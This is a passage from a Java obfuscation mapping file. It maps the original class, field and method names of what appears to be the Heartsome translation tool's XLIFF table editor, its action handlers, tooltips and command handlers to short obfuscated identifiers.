net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$CutActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$DeleteActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$DeleteActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$FindReplaceActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$FindReplaceActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog searchDialog -> Yu + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$PasteActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$PasteActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$PropertyChangeListener -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$PropertyChangeListener: + org.eclipse.jface.action.IAction actionHandler -> Yv + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$RedoActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$RedoActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$SelectAllActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$SelectAllActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$UndoActionHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler$UndoActionHandler: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler this$0 -> Ys + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String ID -> ID + java.lang.String FLAG_CELL_LABEL -> FLAG_CELL_LABEL + java.lang.String SOURCE_EDIT_CELL_LABEL -> SOURCE_EDIT_CELL_LABEL + java.lang.String TARGET_EDIT_CELL_LABEL -> TARGET_EDIT_CELL_LABEL + java.lang.String Hyphen -> MH + org.eclipse.swt.graphics.Image titleImage -> ED + net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.XliffEditorDataProvider bodyDataProvider -> Yw + java.lang.String[] propertyNames -> Yx + java.util.Map propertyToLabels -> Yy + java.util.Map propertyToColWidths -> Yz + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack bodyLayer -> YA + net.sourceforge.nattable.NatTable table -> XF + org.eclipse.swt.widgets.Combo cmbFilter -> ET + java.lang.String srcColumnName -> YB + java.lang.String tgtColumnName -> YC + boolean isHorizontalLayout -> YD + org.eclipse.swt.widgets.Composite parent -> parent + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + org.eclipse.jface.util.IPropertyChangeListener fFontPropertyChangeListener -> YE + org.eclipse.jface.action.IStatusLineManager statusLineManager -> Ft + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorStatusLineItemWithProgressBar translationItem -> YF + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorStatusLineItemWithProgressBar approveItem -> YG + org.eclipse.swt.graphics.Image statusLineImage -> YH + boolean openFileSucceed -> YI + java.lang.String langFilterCondition -> YJ + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagStyleManager tagStyleManager -> YK + boolean multiFile -> YL + java.util.List multiFileList -> YM + boolean isStore -> YN + java.util.List splitXliffPoints -> YO + org.eclipse.core.commands.operations.IOperationHistory HISTORY -> YP + org.eclipse.core.commands.operations.IUndoContext undoContext -> YQ + org.eclipse.ui.operations.UndoRedoActionGroup undoRedoGroup -> undoRedoGroup + java.lang.String titleToolTip -> YR + org.eclipse.jface.action.Action tableSelectAllAction -> alw + org.eclipse.swt.widgets.Listener resizeListenerWithColumnResize -> YS + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$PaintListenerWithAutoRowSize paintListenerWithAutoRowSize -> YT + java.util.Map termsCache -> apV + java.lang.String getSrcColumnName() -> getSrcColumnName + java.lang.String getTgtColumnName() -> getTgtColumnName + java.lang.String getLangFilterCondition() -> getLangFilterCondition + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagStyleManager getTagStyleManager() -> getTagStyleManager + boolean isMultiFile() -> isMultiFile + net.heartsome.cat.ts.core.file.XLFHandler getXLFHandler() -> getXLFHandler + net.sourceforge.nattable.NatTable getTable() -> getTable + void setSplitXliffPoints(java.util.List) -> setSplitXliffPoints + boolean isHorizontalLayout() -> isHorizontalLayout + void initializeOperationHistory() -> ll + void setGlobalActionHandler() -> lm + void doSave(org.eclipse.core.runtime.IProgressMonitor) -> doSave + void doSaveAs() -> doSaveAs + void performSaveAs(org.eclipse.core.runtime.IProgressMonitor) -> performSaveAs + void saveAs(org.eclipse.ui.IEditorInput,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> a + void copyFile(java.io.File,java.io.File) -> copyFile + void setInput(org.eclipse.ui.IEditorInput) -> setInput + org.eclipse.core.runtime.IProgressMonitor getProgressMonitor() -> getProgressMonitor + org.eclipse.jface.action.IStatusLineManager getStatusLineManager() -> getStatusLineManager + java.lang.String getTitleToolTip() -> getTitleToolTip + void addRowBackgroundColor(net.sourceforge.nattable.layer.CompositeLayer) -> c + boolean isDirty() -> isDirty + boolean isSaveAsAllowed() -> isSaveAsAllowed + void init(org.eclipse.ui.IEditorSite,org.eclipse.ui.IEditorInput) -> init + void openFile(java.util.List,org.eclipse.ui.IEditorInput) -> a + java.util.List getFilesByFileEditorInput(org.eclipse.ui.part.FileEditorInput) -> a + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void close() -> close + void addFilterComposite(org.eclipse.swt.widgets.Composite) -> O + void refresh() -> refresh + void reloadXliff() -> reloadXliff + void renameColumn() -> ln + void jumpToRow(java.lang.String) -> jumpToRow + void jumpToRow(int) -> jumpToRow + java.util.List getSelectedRowIds() -> getSelectedRowIds + int[] getSelectedRows() -> getSelectedRows + void addBottomComposite(org.eclipse.swt.widgets.Composite) -> P + net.sourceforge.nattable.config.IConfiguration editableGridConfiguration() -> lo + void setFocus() -> setFocus + void updateStatusLine() -> updateStatusLine + void setStatusLine(java.lang.String) -> setStatusLine + net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.XliffEditorDataProvider setupBodyDataProvider(boolean) -> G + net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.XliffEditorDataProvider setupHorizontalLayoutBodyDataProvider() -> lp + net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.XliffEditorDataProvider setupVerticalLayoutBodyDataProvider() -> lq + void changeLayout() -> changeLayout + void changeLayout(boolean) -> changeLayout + void autoResize() -> autoResize + void autoResizeNotColumn() -> autoResizeNotColumn + void addFlagLableToColumn(net.sourceforge.nattable.config.IConfigRegistry) -> a + void addLineNumberToColumn(net.sourceforge.nattable.config.IConfigRegistry) -> b + void dispose() -> dispose + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable getCurrent() -> getCurrent + void updateCell(int,int,java.lang.String,java.lang.String,java.lang.String) -> updateCell + void updateCells(int[],int,java.lang.String) -> updateCells + void updateSegments(java.util.Map,int,java.lang.String,java.lang.String) -> updateSegments + void updateSegments(java.util.List,int,java.lang.String,boolean,java.lang.String,java.lang.String) -> updateSegments + void updateSegments(java.util.Map,int,boolean,java.lang.String,java.lang.String) -> updateSegments + boolean updateCellEditor(int,java.lang.String,java.lang.String,java.lang.String) -> a + int getSrcColumnIndex() -> getSrcColumnIndex + int getStatusColumnIndex() -> getStatusColumnIndex + int getTgtColumnIndex() -> getTgtColumnIndex + java.util.List getSplitXliffPoints() -> getSplitXliffPoints + void resetOrder() -> resetOrder + void reloadData() -> reloadData + void insertCell(int,int,java.lang.String) -> insertCell + void setStore(boolean) -> setStore + java.util.List getMultiFileList() -> getMultiFileList + void jumpToRow(int,boolean) -> jumpToRow + java.lang.String getSelectPureText() -> getSelectPureText + void getSelectSrcOrTgtPureText(java.lang.StringBuffer,java.lang.StringBuffer) -> getSelectSrcOrTgtPureText + void redraw() -> redraw + net.heartsome.cat.ts.core.bean.TransUnitBean getRowTransUnitBean(int) -> getRowTransUnitBean + void addPropertyListener(org.eclipse.ui.IPropertyListener) -> addPropertyListener + void affterFuzzyMatchApplayTarget(int,java.lang.String,java.lang.String,java.lang.String) -> affterFuzzyMatchApplayTarget + void highlightedTerms(int,java.util.List) -> highlightedTerms + java.util.Map getTermsCache() -> getTermsCache + void refreshWithNonprinttingCharacter(boolean) -> refreshWithNonprinttingCharacter + org.eclipse.swt.widgets.Combo getFilterCombo() -> getFilterCombo + int getRowCount() -> getRowCount + int getAllRowCount() -> getAllRowCount + net.sourceforge.nattable.NatTable access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> b + java.lang.String[] access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> c + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> d + java.util.Map access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> e + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$PaintListenerWithAutoRowSize access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> f + boolean access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> g + org.slf4j.Logger access$6() -> il + net.heartsome.cat.ts.core.file.XLFHandler access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> h + org.eclipse.swt.graphics.Image access$8(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> i + void access$9(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable,org.eclipse.swt.graphics.Image) -> a + org.eclipse.swt.graphics.Image access$10() -> pu + void access$11(org.eclipse.swt.graphics.Image) -> a + void access$12(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable,net.sourceforge.nattable.NatTable) -> a + void access$13(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable,net.heartsome.cat.ts.core.file.XLFHandler) -> a + org.eclipse.jface.util.IPropertyChangeListener access$14(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> j + java.lang.String access$15(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> k + org.eclipse.swt.widgets.Combo access$16(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> l + org.eclipse.swt.widgets.Listener access$17(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> m +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$10 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$10: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$3: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$4: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + java.lang.String val$rowLocationStr -> alx + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$5: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$6 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$6: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void verifyText(org.eclipse.swt.events.VerifyEvent) -> verifyText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$7 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$7: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$8 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$8: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$9 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$9: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void configureRegistry(net.sourceforge.nattable.config.IConfigRegistry) -> configureRegistry +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack: + net.sourceforge.nattable.layer.DataLayer bodyDataLayer -> YW + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + net.sourceforge.nattable.hideshow.ColumnHideShowLayer columnHideShowLayer -> YX + net.sourceforge.nattable.viewport.ViewportLayer viewportLayer -> viewportLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void setupSelectionLayer() -> ls + net.sourceforge.nattable.selection.SelectionLayer getSelectionLayer() -> getSelectionLayer + net.sourceforge.nattable.layer.DataLayer getBodyDataLayer() -> getBodyDataLayer + net.sourceforge.nattable.hideshow.ColumnHideShowLayer getColumnHideShowLayer() -> getColumnHideShowLayer + net.sourceforge.nattable.viewport.ViewportLayer getViewportLayer() -> getViewportLayer + net.sourceforge.nattable.selection.SelectionLayer access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack) -> b +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack this$1 -> YY + java.io.Serializable getRowIdByPosition(int) -> getRowIdByPosition + java.util.Set getRowIdsByPositionRange(int,int) -> getRowIdsByPositionRange + java.util.ArrayList getRowIds() -> getRowIds +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack this$1 -> YY + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$ColumnHeaderLayerStack -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$ColumnHeaderLayerStack: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$ColumnHeaderLayerStack$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$ColumnHeaderLayerStack$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$ColumnHeaderLayerStack this$1 -> YZ + void configureRegistry(net.sourceforge.nattable.config.IConfigRegistry) -> configureRegistry +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$FontPropertyChangeListener -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$FontPropertyChangeListener: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$HasQustionToolTip -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$HasQustionToolTip: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + int getStatusStartX() -> pv + java.lang.String getStateText(net.heartsome.cat.ts.core.bean.TransUnitBean) -> getStateText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$NotSendToTmToolTip -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$NotSendToTmToolTip: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + int getStatusStartX() -> pv + java.lang.String getStateText(net.heartsome.cat.ts.core.bean.TransUnitBean) -> getStateText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$NoteToolTip -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$NoteToolTip: + org.eclipse.swt.graphics.Cursor clickCusor -> apW + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + java.lang.Object getToolTipArea(org.eclipse.swt.widgets.Event) -> getToolTipArea + java.lang.String getText(org.eclipse.swt.widgets.Event) -> getText + boolean shouldCreateToolTip(org.eclipse.swt.widgets.Event) -> shouldCreateToolTip + void afterHideToolTip(org.eclipse.swt.widgets.Event) -> afterHideToolTip + void setDisplayCursor(org.eclipse.swt.graphics.Cursor) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$OpenFile -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$OpenFile: + java.util.List files -> Za + java.util.Map openFileResult -> Zb + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + java.util.Map getOpenFileResult() -> getOpenFileResult + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$PaintListenerWithAutoRowSize -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$PaintListenerWithAutoRowSize: + int columnCount -> columnCount + java.util.List hasComputedRow -> Zc + int currentRowPosition -> Zd + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl + void resetArea() -> resetArea + void resetColumnCount() -> resetColumnCount +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$StateToolTip -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$StateToolTip: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + java.lang.Object getToolTipArea(org.eclipse.swt.widgets.Event) -> getToolTipArea + java.lang.String getText(org.eclipse.swt.widgets.Event) -> getText + boolean shouldCreateToolTip(org.eclipse.swt.widgets.Event) -> shouldCreateToolTip + java.lang.String getStateText(net.heartsome.cat.ts.core.bean.TransUnitBean) -> getStateText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$StatusToolTips -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$StatusToolTips: + int IMG_WIDTH -> apX + int MATCH_QUALITY -> apY + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable this$0 -> YU + java.lang.Object getToolTipArea(org.eclipse.swt.widgets.Event) -> getToolTipArea + java.lang.String getText(org.eclipse.swt.widgets.Event) -> getText + boolean shouldCreateToolTip(org.eclipse.swt.widgets.Event) -> shouldCreateToolTip + int getStatusStartX() -> pv + java.lang.String getStateText(net.heartsome.cat.ts.core.bean.TransUnitBean) -> getStateText +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorStatusLineItem -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorStatusLineItem: + org.eclipse.swt.widgets.Label label -> Zg + java.lang.String text -> text + org.eclipse.swt.graphics.Image image -> image + org.eclipse.swt.widgets.Composite statusLine -> statusLine + void fill(org.eclipse.swt.widgets.Composite) -> fill + void setText(java.lang.String) -> setText + void setText(java.lang.String,org.eclipse.swt.graphics.Image) -> setText + void dispose() -> dispose +net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorStatusLineItemWithProgressBar -> net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorStatusLineItemWithProgressBar: + int progressValue -> Zf + org.eclipse.swt.widgets.Label label -> Zg + void fill(org.eclipse.swt.widgets.Composite) -> fill + void setProgressValue(int) -> setProgressValue +net.heartsome.cat.ts.ui.xliffeditor.nattable.exception.UnexpectedTypeExcetion -> net.heartsome.cat.ts.ui.xliffeditor.nattable.exception.a: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AddSelectionSegmentNotesHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AutoResizeCurrentRowsCommand -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.b: + net.sourceforge.nattable.config.IConfigRegistry configRegistry -> Zh + int[] rows -> Zi + net.sourceforge.nattable.command.ILayerCommand cloneCommand() -> cloneCommand + net.sourceforge.nattable.config.IConfigRegistry getConfigRegistry() -> getConfigRegistry + int[] getRows() -> lt +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AutoResizeCurrentRowsCommandHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.c: + net.sourceforge.nattable.layer.CompositeLayer layer -> Zj + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AutoResizeCurrentRowsCommand) -> a + java.lang.Class getCommandClass() -> getCommandClass + int[] getPreferedRowHeights(net.sourceforge.nattable.config.IConfigRegistry,net.sourceforge.nattable.layer.ILayer,int[]) -> a + int getPreferredRowHeight(net.sourceforge.nattable.layer.ILayer,int,net.sourceforge.nattable.config.IConfigRegistry,org.eclipse.swt.graphics.GC,int) -> a + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CancelEditSourceTextHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.d: + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode getSourceEditMode(net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ChangeEditorLayoutHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ChangeSourceEditableHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.f: + org.eclipse.swt.widgets.Listener listener -> Zk + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode getSourceEditMode(net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ChangeSourceEditableHandler$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.g: + net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ChangeSourceEditableHandler this$0 -> Zm + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ClickColumnCommandHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.h: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.sourceforge.nattable.selection.command.SelectColumnCommand) -> doCommand + java.lang.Class getCommandClass() -> getCommandClass + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CopyAllSourceHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.i: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CopyAllSourceHandler$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.j: + net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CopyAllSourceHandler this$0 -> Zn + org.eclipse.ui.IEditorPart val$editor -> Bk + void run() -> run 